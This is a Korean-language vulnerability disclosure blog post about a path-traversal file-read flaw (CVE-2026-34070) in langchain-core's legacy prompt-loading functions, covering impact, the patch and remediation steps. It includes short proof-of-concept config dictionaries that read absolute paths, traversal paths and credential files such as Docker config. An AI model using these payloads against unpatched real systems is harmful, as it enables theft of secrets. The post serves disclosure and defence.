
# langchain에서 제로데이 취약점을 발견했습니다 — 그 과정은 이러했습니다
AI의 가장 인기 있는 프레임워크 중 하나에서 잊혀진 레거시 API가 어떻게 수백만 개의 애플리케이션을 임의 파일 읽기에 조용히 노출시켰는지.
개념 증명(PoC)이 첫 시도에 성공했을 때 느껴지는 특정한 감정이 있습니다. 정확히 말하면 흥분이라기보다는 — 실제로 무언가 일어났다는 느린, 불편한 깨달음에 가깝습니다. load_prompt_from_config()에 테스트 구성을 실행하고 읽어서는 안 되는 파일의 내용이 터미널에 그대로 출력되는 것을 보았을 때 제가 느낀 감정이 바로 그것이었습니다.
이것은 CVE-2026-34070의 이야기입니다: langchain-core의 경로 탐색 취약점으로, 현재 버전 1.2.22에서 패치되었습니다.
지난 몇 년 동안 AI로 무엇이든 구축해 보았다면, 거의 확실히 LangChain을 접해 보았을 것입니다. LangChain은 현대 AI 스택의 연결 조직입니다 — 언어 모델, 벡터 저장소, 도구, 프롬프트 관리를 하나의 응집력 있는 애플리케이션으로 연결하는 프레임워크입니다. GitHub에서 13만 개 이상의 스타를 보유하고 있으며, 소규모 주말 프로젝트부터 엔터프라이즈 배포까지 모든 곳에서 채택되고 있기 때문에, 여기의 취약점은 국지적으로 머물지 않습니다.
저는 프롬프트 하위 시스템에 대한 코드 검토를 수행하던 중 눈에 띄는 것이 있었습니다: langchain_core/prompts/loading.py라는 모듈이었습니다. 역직렬화된 구성 사전에서 직접 가져온 값을 기반으로 디스크에서 파일을 로드하고 있었습니다. 검증도 없었고, 경로 정화도 없었습니다. 그저 open(path)뿐이었습니다.
계속 읽어 보았습니다.
세 개의 내부 함수가 이 문제의 중심에 있었습니다:
_load_template() — template_path, suffix_path, prefix_path가 참조하는 파일을 읽습니다_load_examples() — 문자열일 때 examples 키가 참조하는 파일을 읽습니다_load_few_shot_prompt() — example_prompt_path가 참조하는 파일을 읽습니다파일 확장자 검사는 있었습니다. 템플릿은 .txt. 예제는 .json, .yaml, .yml. 그러나 이러한 경로가 절대 경로(/etc/passwd)이거나 탐색 기반(../../../../home/user/.ssh/)인 것을 막는 것은 아무것도 없었습니다. 확장자 필터는 거짓된 안전감을 주었습니다 — 공격자가 올바른 확장자를 선택해야 한다는 의미일 뿐, 공격이 차단된다는 의미는 아니었습니다.
이 함수들은 모두 두 개의 공개 API를 통해 도달할 수 있습니다: load_prompt()와 load_prompt_from_config().
가장 간단한 버전은 다음과 같았습니다:
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # /tmp/secret.txt의 내용이 깔끔하게 출력됩니다
이것이 전부입니다. 절대 경로를 전달하면 PromptTemplate에 담긴 파일 내용을 돌려받습니다. 인증도 없고, 특별한 권한도 필요 없습니다. 구성 사전에 영향을 줄 수 있다면 파일을 읽을 수 있습니다.
디렉터리 탐색도 똑같이 깔끔하게 작동했습니다:
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
JSON/YAML 변형은 도달할 수 있는 파일 종류 때문에 더 위험하다고 할 수 있습니다:
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
.docker/config.json에는 Docker Hub 자격 증명이 포함되어 있습니다. ~/.azure/accessTokens.json에는 Azure 토큰이 있습니다. Kubernetes 매니페스트, CI/CD 구성, 내부 애플리케이션 설정 — 파일 시스템 어디에 있든 올바른 확장자를 가진 모든 것이 공격 대상이 될 수 있었습니다.
CVSS 점수는 7.5 High로, 벡터는 AV:N/AC:L/PR:N/UI:N — 네트워크 접근 가능, 낮은 복잡성, 권한 불필요, 사용자 상호 작용 불필요입니다.
파일 확장자 검사가 읽을 수 있는 파일을 제한하기 때문에 점수가 9 이상으로 제한되지 않았습니다. 그러나 7.5는 특정 배포 패턴에서 실제 영향력을 과소평가합니다.
프로덕션에서 이것이 어디에 해당하는지 생각해 보십시오:
load_prompt_from_config()에 직접 전달한다면 모든 사용자가 잠재적 공격자입니다.이러한 환경에서는 "파일 확장자에 의한 제한"이 훨씬 덜 중요합니다. 공격자는 올바른 확장자를 가진 존재하는 파일을 알고 있으면 간단히 대상으로 삼을 수 있습니다. 일반적인 클라우드 인스턴스에서: requirements.txt, config.yaml, .env.yaml, .json 확장자를 가진 마운트된 비밀 파일 — 목록은 깁니다.
영향을 받은 함수는 권고에서 "문서화되지 않은 레거시 API"로 설명됩니다. 이들은 현재 langchain_core.load 직렬화 시스템(dumpd/dumps/load/loads)보다 앞서며, 이 시스템은 허용 목록 기반 모델을 사용하고 파일 시스템 읽기를 수행하지 않습니다.
새로운 API는 존재합니다. 더 낫습니다. 그러나 이전 코드는 정리되지 않았습니다 — 검증 없이, 도달 가능한 상태로 그냥 놓여 있었고, 기다리고 있었습니다.
이것은 주목할 가치가 있는 패턴입니다. 빠르게 움직이는 오픈 소스 프로젝트, 특히 LangChain처럼 빠르게 성장한 프로젝트에서는 기술 부채가 구석에 축적됩니다. "실제로 사용자를 위한 것이 아니었던" 레거시 코드는 기본 API 표면과 동일한 조사를 받지 못합니다. 그러나 여전히 호출 가능합니다. 여전히 패키지에 있습니다. 그리고 디스크에서 파일을 읽는다면 잠재적 취약점입니다.
패치는 langchain-core 1.2.22에 포함되었습니다. 수정은 파일이 열리기 전에 절대 경로와 .. 탐색 시퀀스를 모두 거부하는 경로 검증을 추가합니다. 신뢰할 수 있는 경로에서 읽어야 하는 애플리케이션을 위한 탈출구 — allow_dangerous_paths=True — 가 제공되며, 호출자가 위험을 선택한다는 명시적 인정이 포함됩니다.
레거시 API는 이 릴리스에서 공식적으로 더 이상 사용되지 않습니다(deprecated). 2.0.0에서 완전히 제거될 예정입니다. 어디에서든 load_prompt() 또는 load_prompt_from_config()를 사용하고 있다면, 파괴적인 변경을 기다리지 말고 지금 langchain_core.load 등가물로 마이그레이션하십시오.
즉시 업데이트하십시오:
pip install --upgrade langchain-core
1.2.22 이상인지 확인하십시오:
python -c "import langchain_core; print(langchain_core.__version__)"
LangChain을 기반으로 구축하고 있다면, 빠른 감사가 가치 있습니다:
load_prompt와 load_prompt_from_config를 검색하십시오. 나타난다면 무엇이 전달되고 있는지 확인하십시오..txt, .json, .yaml 확장자를 가진 파일이 무엇이고 무엇을 포함하는지 이해하십시오.AI 인프라의 보안 버그는 이러한 시스템이 더 민감한 워크로드를 처리함에 따라 더 중요해질 것입니다. LangChain 팀은 잘 대응했습니다 — 수정은 깔끔하고, 더 이상 사용되지 않는 경로는 명확하며, 권고 문서는 철저합니다.
그러나 이것은 AI 애플리케이션의 공격 표면이 모델만이 아니라는 좋은 알림입니다. 스택의 모든 라이브러리, 정리되지 않은 모든 레거시 함수, "사용자가 여기에 신뢰할 수 없는 입력을 전달하지 않을 것"이라는 것이 보장이 아닌 가정으로 판명된 모든 곳입니다.
코드를 읽으십시오. 특히 오래된 부분을.
CVE-2026-34070이 이 취약점에 할당되었습니다. 전체 권고는 LangChain GitHub Security Advisory에서 확인할 수 있습니다.